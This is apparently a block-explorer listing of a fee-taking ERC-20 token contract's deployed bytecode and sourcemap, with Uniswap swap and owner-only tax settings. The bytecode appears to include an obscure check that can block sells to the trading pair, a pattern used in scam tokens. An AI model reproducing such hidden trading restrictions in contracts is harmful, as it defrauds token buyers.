5b506101a7610385366004611344565b610645565b348015610395575f80fd5b5061023c6103a43660046113ac565b610651565b3480156103b4575f80fd5b506101cc60095481565b3480156103c9575f80fd5b5061023c61069c565b3480156103dd575f80fd5b5061023c6103ec3660046113c7565b610a45565b3480156103fc575f80fd5b506101cc61040b3660046113de565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610441338484610a7e565b5060015b92915050565b5f6104586009600a611509565b61046690633b9aca00611517565b905090565b5f610477848484610ba1565b6104c884336104c385604051806060016040528060288152602001611691602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f48565b610a7e565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146104f1575f80fd5b305f90815260016020526040902054801561050f5761050f81610f80565b47801561051f5761051f81611109565b5050565b5f546001600160a01b031633146105555760405162461bcd60e51b815260040161054c9061152e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105c65760405162461bcd60e51b815260040161054c9061152e565b6064816105d56009600a611509565b6105e390633b9aca00611517565b6105ed9190611517565b6105f79190611563565b6007556001811015610607575f80fd5b50565b5f546001600160a01b031633146106335760405162461bcd60e51b815260040161054c9061152e565b60068190556005811115610607575f80fd5b5f610441338484610ba1565b5f546001600160a01b0316331461067a5760405162461bcd60e51b815260040161054c9061152e565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146106c55760405162461bcd60e51b815260040161054c9061152e565b600c54600160a01b900460ff161561071f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161054c565b600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561076890309061075a6009600a611509565b6104c390633b9aca00611517565b600b5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107dc9190611582565b6001600160a01b031663c9c6539630600b5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085f9190611582565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108cd9190611582565b600c80546001600160a01b039283166001600160a01b0319909116179055600b541663f305d7194730610914816001600160a01b03165f9081526001602052604090205490565b5f806109275f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561098d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109b2919061159d565b5050600c54600b5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a07573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2b91906115c8565b50600c805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a6e5760405162461bcd60e51b815260040161054c9061152e565b6005818155811115610607575f80fd5b6001600160a01b038316610ae05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054c565b6001600160a01b038216610b415760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054c565b6001600160a01b038216610c675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054c565b5f8111610cc85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161054c565b5f80546001600160a01b03858116911614801590610cf357505f546001600160a01b03848116911614155b15610e0b57610d186064610d126005548561114090919063ffffffff16565b906111c5565b600c549091506001600160a01b038481169116148015610d4157506001600160a01b0384163014155b15610d7d5760045460b4600160a01b90910460070b1215610d60575f80fd5b610d7a6064610d126006548561114090919063ffffffff16565b90505b305f90815260016020526040902054600c54600160a81b900460ff16158015610db35750600c546001600160a01b038581169116145b8015610dc85750600c54600160b01b900460ff165b8015610dd5575060095481115b15610e0957610df7610df284610ded84600a54611206565b611206565b610f80565b478015610e0757610e0747611109565b505b505b8015610e8357305f90815260016020526040902054610e2a908261121a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e7a9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ea59083611278565b6001600160a01b0385165f90815260016020526040902055610ee8610eca8383611278565b6001600160a01b0385165f908152600160205260409020549061121a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f318585611278565b60405190815260200160405180910390a350505050565b5f8184841115610f6b5760405162461bcd60e51b815260040161054c91906112e5565b505f610f7784866115e7565b95945050505050565b600c805460ff60a81b1916600160a81b17905580156110f957600c54600160a01b900460ff16156110f9576040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fde57610fde6115fa565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611035573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110599190611582565b8160018151811061106c5761106c6115fa565b6001600160a01b039283166020918202929092010152600b546110929130911684610a7e565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ca9085905f9086903090429060040161160e565b5f604051808303815f87803b1580156110e1575f80fd5b505af11580156110f3573d5f803e3d5ffd5b50505050505b50600c805460ff60a81b19169055565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561051f573d5f803e3d5ffd5b5f825f0361114f57505f610445565b5f61115a8385611517565b9050826111678583611563565b146111be5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161054c565b9392505050565b5f6111be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112b9565b5f81831161121457826111be565b50919050565b5f80611226838561167d565b9050838110156111be5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161054c565b5f6111be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f48565b5f81836112d95760405162461bcd60e51b815260040161054c91906112e5565b505f610f778486611563565b5f6020808352835180828501525f5b81811015611310578581018301518582016040015282016112f4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610607575f80fd5b5f8060408385031215611355575f80fd5b823561136081611330565b946020939093013593505050565b5f805f60608486031215611380575f80fd5b833561138b81611330565b9250602084013561139b81611330565b929592945050506040919091013590565b5f602082840312156113bc575f80fd5b81356111be81611330565b5f602082840312156113d7575f80fd5b5035919050565b5f80604083850312156113ef575f80fd5b82356113fa81611330565b9150602083013561140a81611330565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561146357815f190482111561144957611449611415565b8085161561145657918102915b93841c939080029061142e565b509250929050565b5f8261147957506001610445565b8161148557505f610445565b816001811461149b57600281146114a5576114c1565b6001915050610445565b60ff8411156114b6576114b6611415565b50506001821b610445565b5060208310610133831016604e8410600b84101617156114e4575081810a610445565b6114ee8383611429565b805f190482111561150157611501611415565b029392505050565b5f6111be60ff84168361146b565b808202811582820484141761044557610445611415565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f8261157d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611592575f80fd5b81516111be81611330565b5f805f606084860312156115af575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115d8575f80fd5b815180151581146111be575f80fd5b8181038181111561044557610445611415565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561165c5784516001600160a01b031683529383019391830191600101611637565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104455761044561141556fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208543bf5bb80e7a0be22669cd7556883549144f6a63858dd974a0c865abe098f964736f6c63430008150033

Deployed Bytecode Sourcemap

3748:7144:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5274:83;;;;;;;;;;-1:-1:-1;5344:5:0;;;;;;;;;;;;-1:-1:-1;;;5344:5:0;;;;5274:83;;;;;;;:::i;:::-;;;;;;;;6107:161;;;;;;;;;;-1:-1:-1;6107:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6107:161:0;1023:187:1;4558:43:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4558:43:0;1215:177:1;5551:95:0;;;;;;;;;;;;;:::i;6276:313::-;;;;;;;;;;-1:-1:-1;6276:313:0;;;;;:::i;:::-;;:::i;5460:83::-;;;;;;;;;;-1:-1:-1;5460:83:0;;4214:1;2000:36:1;;1988:2;1973:18;5460:83:0;1858:184:1;10541:348:0;;;;;;;;;;;;;:::i;:::-;;8408:73;;;;;;;;;;-1:-1:-1;8459:10:0;:14;;-1:-1:-1;;;;8459:14:0;-1:-1:-1;;;8459:14:0;;;10541:348;5654:119;;;;;;;;;;-1:-1:-1;5654:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5747:18:0;5720:7;5747:18;;;:9;:18;;;;;;;5654:119;2829:148;;;;;;;;;;;;;:::i;4410:37::-;;;;;;;;;;;;;;;;8614:151;;;;;;;;;;-1:-1:-1;8614:151:0;;;;;:::i;:::-;;:::i;2615:79::-;;;;;;;;;;-1:-1:-1;2653:7:0;2680:6;2615:79;;-1:-1:-1;;;;;2680:6:0;;;2630:51:1;;2618:2;2603:18;2615:79:0;2484:203:1;4454:40:0;;;;;;;;;;;;;;;;5365:87;;;;;;;;;;-1:-1:-1;5437:7:0;;;;;;;;;;;;-1:-1:-1;;;5437:7:0;;;;5365:87;;8911:137;;;;;;;;;;-1:-1:-1;8911:137:0;;;;;:::i;:::-;;:::i;5781:167::-;;;;;;;;;;-1:-1:-1;5781:167:0;;;;;:::i;:::-;;:::i;8489:117::-;;;;;;;;;;-1:-1:-1;8489:117:0;;;;;:::i;:::-;;:::i;4501:50::-;;;;;;;;;;;;;;;;9825:671;;;;;;;;;;;;;:::i;8773:130::-;;;;;;;;;;-1:-1:-1;8773:130:0;;;;;:::i;:::-;;:::i;5956:143::-;;;;;;;;;;-1:-1:-1;5956:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6064:18:0;;;6037:7;6064:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5956:143;6107:161;6182:4;6199:39;450:10;6222:7;6231:6;6199:8;:39::i;:::-;-1:-1:-1;6256:4:0;6107:161;;;;;:::o;5551:95::-;5604:7;4270:13;4214:1;4270:2;:13;:::i;:::-;4257:26;;:10;:26;:::i;:::-;5624:14;;5551:95;:::o;6276:313::-;6374:4;6391:36;6401:6;6409:9;6420:6;6391:9;:36::i;:::-;6438:121;6447:6;450:10;6469:89;6507:6;6469:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6469:19:0;;;;;;:11;:19;;;;;;;;450:10;6469:33;;;;;;;;;;:37;:89::i;:::-;6438:8;:121::i;:::-;-1:-1:-1;6577:4:0;6276:313;;;;;:::o;10541:348::-;10605:10;;-1:-1:-1;;;;;10605:10:0;450;-1:-1:-1;;;;;10591:24:0;;10583:33;;;;;;10666:4;10627:20;5747:18;;;:9;:18;;;;;;10686:14;;10683:73;;10714:30;10731:12;10714:16;:30::i;:::-;10785:21;10820:12;;10817:65;;10846:24;10859:10;10846:12;:24::i;:::-;10572:317;;10541:348::o;2829:148::-;2742:6;;-1:-1:-1;;;;;2742:6:0;450:10;2742:22;2734:67;;;;-1:-1:-1;;;2734:67:0;;;;;;;:::i;:::-;;;;;;;;;2936:1:::1;2920:6:::0;;2899:40:::1;::::0;-1:-1:-1;;;;;2920:6:0;;::::1;::::0;2899:40:::1;::::0;2936:1;;2899:40:::1;2967:1;2950:19:::0;;-1:-1:-1;;;;;;2950:19:0::1;::::0;;2829:148::o;8614:151::-;2742:6;;-1:-1:-1;;;;;2742:6:0;450:10;2742:22;2734:67;;;;-1:-1:-1;;;2734:67:0;;;;;;;:::i;:::-;8722:3:::1;8713:8:::0;4270:13:::1;4214:1;4270:2;:13;:::i;:::-;4257:26;::::0;:10:::1;:26;:::i;:::-;8703:18;;;;:::i;:::-;:22;;;;:::i;:::-;8688:12;:37:::0;8755:1:::1;8744:12:::0;::::1;;8736:21;;;::::0;::::1;;8614:151:::0;:::o;8911:137::-;2742:6;;-1:-1:-1;;;;;2742:6:0;450:10;2742:22;2734:67;;;;-1:-1:-1;;;2734:67:0;;;;;;;:::i;:::-;8984:8:::1;:21:::0;;;9038:1:::1;9024:15:::0;::::1;;9016:24;;;::::0;::::1;5781:167:::0;5859:4;5876:42;450:10;5900:9;5911:6;5876:9;:42::i;8489:117::-;2742:6;;-1:-1:-1;;;;;2742:6:0;450:10;2742:22;2734:67;;;;-1:-1:-1;;;2734:67:0;;;;;;;:::i;:::-;8576:10:::1;:22:::0;;-1:-1:-1;;;;;;8576:22:0::1;-1:-1:-1::0;;;;;8576:22:0;;;::::1;::::0;;;::::1;::::0;;8489:117::o;9825:671::-;2742:6;;-1:-1:-1;;;;;2742:6:0;450:10;2742:22;2734:67;;;;-1:-1:-1;;;2734:67:0;;;;;;;:::i;:::-;9889:11:::1;::::0;-1:-1:-1;;;9889:11:0;::::1;;;9888:12;9880:47;;;::::0;-1:-1:-1;;;9880:47:0;;5818:2:1;9880:47:0::1;::::0;::::1;5800:21:1::0;5857:2;5837:18;;;5830:30;5896:25;5876:18;;;5869:53;5939:18;;9880:47:0::1;5616:347:1::0;9880:47:0::1;9938:15;:80:::0;;-1:-1:-1;;;;;;9938:80:0::1;9975:42;9938:80:::0;;::::1;::::0;;;10029:58:::1;::::0;10046:4:::1;::::0;4270:13:::1;4214:1;4270:2;:13;:::i;:::-;4257:26;::::0;:10:::1;:26;:::i;10029:58::-;10132:15;;;;;;;;;-1:-1:-1::0;;;;;10132:15:0::1;-1:-1:-1::0;;;;;10132:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10114:55:0::1;;10178:4;10185:15;;;;;;;;;-1:-1:-1::0;;;;;10185:15:0::1;-1:-1:-1::0;;;;;10185:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10114:94;::::0;-1:-1:-1;;;;;;10114:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6454:15:1;;;10114:94:0::1;::::0;::::1;6436:34:1::0;6506:15;;6486:18;;;6479:43;6371:18;;10114:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10098:13;:110:::0;;-1:-1:-1;;;;;10098:110:0;;::::1;-1:-1:-1::0;;;;;;10098:110:0;;::::1;;::::0;;10219:15:::1;::::0;::::1;:31;10258:21;10289:4;10295:24;10289:4:::0;-1:-1:-1;;;;;5747:18:0;5720:7;5747:18;;;:9;:18;;;;;;;5654:119;10295:24:::1;10320:1;10322::::0;10324:7:::1;2653::::0;2680:6;-1:-1:-1;;;;;2680:6:0;;2615:79;10324:7:::1;10219:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10219:129:0;;;-1:-1:-1;;;;;6892:15:1;;;10219:129:0::1;::::0;::::1;6874:34:1::0;6924:18;;;6917:34;;;;6967:18;;;6960:34;;;;7010:18;;;7003:34;7074:15;;;7053:19;;;7046:44;10332:15:0::1;7106:19:1::0;;;7099:35;6808:19;;10219:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10366:13:0::1;::::0;10397:15:::1;::::0;10359:71:::1;::::0;-1:-1:-1;;;10359:71:0;;-1:-1:-1;;;;;10397:15:0;;::::1;10359:71;::::0;::::1;7630:51:1::0;-1:-1:-1;;7697:18:1;;;7690:34;10366:13:0;::::1;::::0;-1:-1:-1;10359:29:0::1;::::0;7603:18:1;;10359:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10441:11:0::1;:18:::0;;-1:-1:-1;;;;10470:18:0;-1:-1:-1;;;10470:18:0;;;9825:671::o;8773:130::-;2742:6;;-1:-1:-1;;;;;2742:6:0;450:10;2742:22;2734:67;;;;-1:-1:-1;;;2734:67:0;;;;;;;:::i;:::-;8842:7:::1;:19:::0;;;8880:14;::::1;;8872:23;;;::::0;::::1;6597:335:::0;-1:-1:-1;;;;;6690:19:0;;6682:68;;;;-1:-1:-1;;;6682:68:0;;8219:2:1;6682:68:0;;;8201:21:1;8258:2;8238:18;;;8231:30;8297:34;8277:18;;;8270:62;-1:-1:-1;;;8348:18:1;;;8341:34;8392:19;;6682:68:0;8017:400:1;6682:68:0;-1:-1:-1;;;;;6769:21:0;;6761:68;;;;-1:-1:-1;;;6761:68:0;;8624:2:1;6761:68:0;;;8606:21:1;8663:2;8643:18;;;8636:30;8702:34;8682:18;;;8675:62;-1:-1:-1;;;8753:18:1;;;8746:32;8795:19;;6761:68:0;8422:398:1;6761:68:0;-1:-1:-1;;;;;6840:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6892:32;;1361:25:1;;;6892:32:0;;1334:18:1;6892:32:0;;;;;;;6597:335;;;:::o;6940:1460::-;-1:-1:-1;;;;;7028:18:0;;7020:68;;;;-1:-1:-1;;;7020:68:0;;9027:2:1;7020:68:0;;;9009:21:1;9066:2;9046:18;;;9039:30;9105:34;9085:18;;;9078:62;-1:-1:-1;;;9156:18:1;;;9149:35;9201:19;;7020:68:0;8825:401:1;7020:68:0;-1:-1:-1;;;;;7107:16:0;;7099:64;;;;-1:-1:-1;;;7099:64:0;;9433:2:1;7099:64:0;;;9415:21:1;9472:2;9452:18;;;9445:30;9511:34;9491:18;;;9484:62;-1:-1:-1;;;9562:18:1;;;9555:33;9605:19;;7099:64:0;9231:399:1;7099:64:0;7191:1;7182:6;:10;7174:64;;;;-1:-1:-1;;;7174:64:0;;9837:2:1;7174:64:0;;;9819:21:1;9876:2;9856:18;;;9849:30;9915:34;9895:18;;;9888:62;-1:-1:-1;;;9966:18:1;;;9959:39;10015:19;;7174:64:0;9635:405:1;7174:64:0;7249:17;2680:6;;-1:-1:-1;;;;;7283:15:0;;;2680:6;;7283:15;;;;:32;;-1:-1:-1;2653:7:0;2680:6;-1:-1:-1;;;;;7302:13:0;;;2680:6;;7302:13;;7283:32;7279:765;;;7348:28;7372:3;7348:19;7359:7;;7348:6;:10;;:19;;;;:::i;:::-;:23;;:28::i;:::-;7400:13;;7336:40;;-1:-1:-1;;;;;;7394:19:0;;;7400:13;;7394:19;:43;;;;-1:-1:-1;;;;;;7417:20:0;;7432:4;7417:20;;7394:43;7391:169;;;7466:10;;7480:3;-1:-1:-1;;;7466:10:0;;;;;:17;;7458:26;;;;;;7515:29;7540:3;7515:20;7526:8;;7515:6;:10;;:20;;;;:::i;:29::-;7503:41;;7391:169;7625:4;7576:28;5747:18;;;:9;:18;;;;;;7651:6;;-1:-1:-1;;;7651:6:0;;;;7650:7;:30;;;;-1:-1:-1;7667:13:0;;-1:-1:-1;;;;;7661:19:0;;;7667:13;;7661:19;7650:30;:45;;;;-1:-1:-1;7684:11:0;;-1:-1:-1;;;7684:11:0;;;;7650:45;:87;;;;;7720:17;;7699:20;:38;7650:87;7646:387;;;7758:67;7775:49;7779:6;7786:37;7790:20;7811:11;;7786:3;:37::i;:::-;7775:3;:49::i;:::-;7758:16;:67::i;:::-;7873:21;7916:22;;7913:105;;7963:35;7976:21;7963:12;:35::i;:::-;7739:294;7646:387;7317:727;7279:765;8059:11;;8056:161;;8127:4;8109:24;;;;:9;:24;;;;;;:39;;8138:9;8109:28;:39::i;:::-;8102:4;8084:24;;;;:9;:24;;;;;;;:64;;;;8166:39;;-1:-1:-1;;;;;8166:39:0;;;;;;;8195:9;1361:25:1;;1349:2;1334:18;;1215:177;8166:39:0;;;;;;;;8056:161;-1:-1:-1;;;;;8243:15:0;;;;;;:9;:15;;;;;;:27;;8263:6;8243:19;:27::i;:::-;-1:-1:-1;;;;;8227:15:0;;;;;;:9;:15;;;;;:43;8295:40;8313:21;:6;8324:9;8313:10;:21::i;:::-;-1:-1:-1;;;;;8295:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8281:13:0;;;;;;;:9;:13;;;;;:54;;;;8351:41;;;8370:21;:6;8381:9;8370:10;:21::i;:::-;8351:41;;1361:25:1;;;1349:2;1334:18;8351:41:0;;;;;;;7009:1391;6940:1460;;;:::o;1507:190::-;1593:7;1629:12;1621:6;;;;1613:29;;;;-1:-1:-1;;;1613:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1653:9:0;1665:5;1669:1;1665;:5;:::i;:::-;1653:17;1507:190;-1:-1:-1;;;;;1507:190:0:o;9162:555::-;4883:6;:13;;-1:-1:-1;;;;4883:13:0;-1:-1:-1;;;4883:13:0;;;9240:27;;9259:7:::1;9240:27;9281:11;::::0;-1:-1:-1;;;9281:11:0;::::1;;;9277:25:::0;9294:7:::1;9277:25;9336:16;::::0;;9350:1:::1;9336:16:::0;;;;;::::1;::::0;;9312:21:::1;::::0;9336:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9336:16:0::1;9312:40;;9381:4;9363;9368:1;9363:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9363:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9407:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9407:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9363:7;;9407:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9397:4;9402:1;9397:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9397:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9472:15:::1;::::0;9440:62:::1;::::0;9457:4:::1;::::0;9472:15:::1;9490:11:::0;9440:8:::1;:62::i;:::-;9513:15;::::0;:196:::1;::::0;-1:-1:-1;;;9513:196:0;;-1:-1:-1;;;;;9513:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9594:11;;9513:15:::1;::::0;9636:4;;9663::::1;::::0;9683:15:::1;::::0;9513:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9229:488;4907:1;-1:-1:-1::0;4919:6:0;:14;;-1:-1:-1;;;;4919:14:0;;;9162:555::o;9725:92::-;9782:10;;:27;;-1:-1:-1;;;;;9782:10:0;;;;:27;;;;;9802:6;;9782:10;:27;:10;:27;9802:6;9782:10;:27;;;;;;;;;;;;;;;;;;;1705:246;1763:7;1787:1;1792;1787:6;1783:47;;-1:-1:-1;1817:1:0;1810:8;;1783:47;1840:9;1852:5;1856:1;1852;:5;:::i;:::-;1840:17;-1:-1:-1;1885:1:0;1876:5;1880:1;1840:17;1876:5;:::i;:::-;:10;1868:56;;;;-1:-1:-1;;;1868:56:0;;11629:2:1;1868:56:0;;;11611:21:1;11668:2;11648:18;;;11641:30;11707:34;11687:18;;;11680:62;-1:-1:-1;;;11758:18:1;;;11751:31;11799:19;;1868:56:0;11427:397:1;1868:56:0;1942:1;1705:246;-1:-1:-1;;;1705:246:0:o;1959:132::-;2017:7;2044:39;2048:1;2051;2044:39;;;;;;;;;;;;;;;;;:3;:39::i;9056:98::-;9113:7;9140:1;9138;:3;9137:9;;9145:1;9137:9;;;-1:-1:-1;9143:1:0;9056:98;-1:-1:-1;9056:98:0:o;1176:179::-;1234:7;;1266:5;1270:1;1266;:5;:::i;:::-;1254:17;;1295:1;1290;:6;;1282:46;;;;-1:-1:-1;;;1282:46:0;;12161:2:1;1282:46:0;;;12143:21:1;12200:2;12180:18;;;12173:30;12239:29;12219:18;;;12212:57;12286:18;;1282:46:0;11959:351:1;1363:136:0;1421:7;1448:43;1452:1;1455;1448:43;;;;;;;;;;;;;;;;;:3;:43::i;2099:189::-;2185:7;2220:12;2213:5;2205:28;;;;-1:-1:-1;;;2205:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2244:9:0;2256:5;2260:1;2256;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2299:180::-;2358:6;2411:2;2399:9;2390:7;2386:23;2382:32;2379:52;;;2427:1;2424;2417:12;2379:52;-1:-1:-1;2450:23:1;;2299:180;-1:-1:-1;2299:180:1:o;2952:388::-;3020:6;3028;3081:2;3069:9;3060:7;3056:23;3052:32;3049:52;;;3097:1;3094;3087:12;3049:52;3136:9;3123:23;3155:31;3180:5;3155:31;:::i;:::-;3205:5;-1:-1:-1;3262:2:1;3247:18;;3234:32;3275:33;3234:32;3275:33;:::i;:::-;3327:7;3317:17;;;2952:388;;;;;:::o;3345:127::-;3406:10;3401:3;3397:20;3394:1;3387:31;3437:4;3434:1;3427:15;3461:4;3458:1;3451:15;3477:422;3566:1;3609:5;3566:1;3623:270;3644:7;3634:8;3631:21;3623:270;;;3703:4;3699:1;3695:6;3691:17;3685:4;3682:27;3679:53;;;3712:18;;:::i;:::-;3762:7;3752:8;3748:22;3745:55;;;3782:16;;;;3745:55;3861:22;;;;3821:15;;;;3623:270;;;3627:3;3477:422;;;;;:::o;3904:806::-;3953:5;3983:8;3973:80;;-1:-1:-1;4024:1:1;4038:5;;3973:80;4072:4;4062:76;;-1:-1:-1;4109:1:1;4123:5;;4062:76;4154:4;4172:1;4167:59;;;;4240:1;4235:130;;;;4147:218;;4167:59;4197:1;4188:10;;4211:5;;;4235:130;4272:3;4262:8;4259:17;4256:43;;;4279:18;;:::i;:::-;-1:-1:-1;;4335:1:1;4321:16;;4350:5;;4147:218;;4449:2;4439:8;4436:16;4430:3;4424:4;4421:13;4417:36;4411:2;4401:8;4398:16;4393:2;4387:4;4384:12;4380:35;4377:77;4374:159;;;-1:-1:-1;4486:19:1;;;4518:5;;4374:159;4565:34;4590:8;4584:4;4565:34;:::i;:::-;4635:6;4631:1;4627:6;4623:19;4614:7;4611:32;4608:58;;;4646:18;;:::i;:::-;4684:20;;3904:806;-1:-1:-1;;;3904:806:1:o;4715:140::-;4773:5;4802:47;4843:4;4833:8;4829:19;4823:4;4802:47;:::i;4860:168::-;4933:9;;;4964;;4981:15;;;4975:22;;4961:37;4951:71;;5002:18;;:::i;5033:356::-;5235:2;5217:21;;;5254:18;;;5247:30;5313:34;5308:2;5293:18;;5286:62;5380:2;5365:18;;5033:356::o;5394:217::-;5434:1;5460;5450:132;;5504:10;5499:3;5495:20;5492:1;5485:31;5539:4;5536:1;5529:15;5567:4;5564:1;5557:15;5450:132;-1:-1:-1;5596:9:1;;5394:217::o;5968:251::-;6038:6;6091:2;6079:9;6070:7;6066:23;6062:32;6059:52;;;6107:1;6104;6097:12;6059:52;